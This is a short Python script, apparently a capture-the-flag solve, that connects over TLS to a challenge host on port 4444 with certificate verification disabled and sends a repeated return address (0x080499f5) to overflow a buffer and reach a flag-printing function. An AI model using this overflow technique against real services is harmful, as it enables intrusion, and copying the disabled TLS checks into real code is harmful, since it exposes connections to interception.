cat_flag.py

import os
import sys
import struct

import socket
import ssl

index = int(sys.argv[1]) if len(sys.argv) > 1 else 0

host = "keys.lowlevel.tv"
port = 4444
certfile = "app/downloads/szabolcsdombi.key"

context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE

context.load_cert_chain(certfile)

with socket.create_connection((host, port)) as sock:
    with context.wrap_socket(sock, server_hostname=host) as ssock:
        print(f"Connected to {host} on port {port}")

        print(ssock.recv(4096))
        ssock.sendall(struct.pack('I', 0x080499f5) * 30)
        print(ssock.recv(4096))